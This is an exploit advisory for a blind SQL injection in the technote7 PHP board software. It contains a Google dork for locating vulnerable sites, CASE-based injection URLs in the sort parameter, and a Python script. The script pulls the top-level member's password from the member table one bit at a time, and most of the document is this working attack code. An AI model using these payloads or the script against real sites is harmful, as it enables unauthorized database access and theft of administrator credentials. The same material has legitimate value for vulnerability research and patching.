# Exploit Title: technote blind sql injection
# Google Dork: inurl:/technote7/board.php?board=
# Date: 2011.06.11
# Author: BlueH4G (http://blueh4g.org)
# Software Link:
http://www.technote.co.kr/php/technote1/board.php?board=consult&command=skin_insert&exe=insert_down_shop
# Version: technote7.2 > * && Mysql 3.x < *
# Tested on: Windows & Linux everything

============================================================================================================

vulnerability :

blind sql injection with order by option.

i could control align data with sort variable with `case`.


blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=1) when
true then no else uid end) asc#

-> sort by `no` column.


blueh4g.org/technote7/board.php?board=freeboard&sort=(case(select 1=2) when
true then no else uid end) asc#

-> sort by `uid` column.


============================================================================================================

exploit :

#!/usr/bin/python
#-*- coding: utf-8 -*-
# coded by BlueH4G _http://blueh4g.org_
import urllib,re
from time import sleep

def main() :
 chk = re.compile("true_title")
 url_begin="
http://t.blueh4g.org/technote7/board.php?board=freeboard&sort=(case%20("
 url_end=")%20when%20true%20then%20no%20else%20uid%20end)%20asc%20limit%200,1%23"
 result="result : "
 for spos in range(1,14):
  ch=0
  for i in range(1,8) :
   sleep(0.05)

 query="select%20substr((select%20lpad(bin(ascii(substr(m_pass,"+str(spos)+",1))),7,0)%20from%20a_tn3_memberboard_list%20order%20by%20m_level%20desc%20limit%200,1),"+str(i)+",1)=1
   data=urllib.urlopen(url_begin + query + url_end)
   text=data.read()
   if chk.search(text) :
    ch += 2**(7-i)
  result+=chr(ch)
 print result
main()

============================================================================================================

-- 
## BlueH4G ##
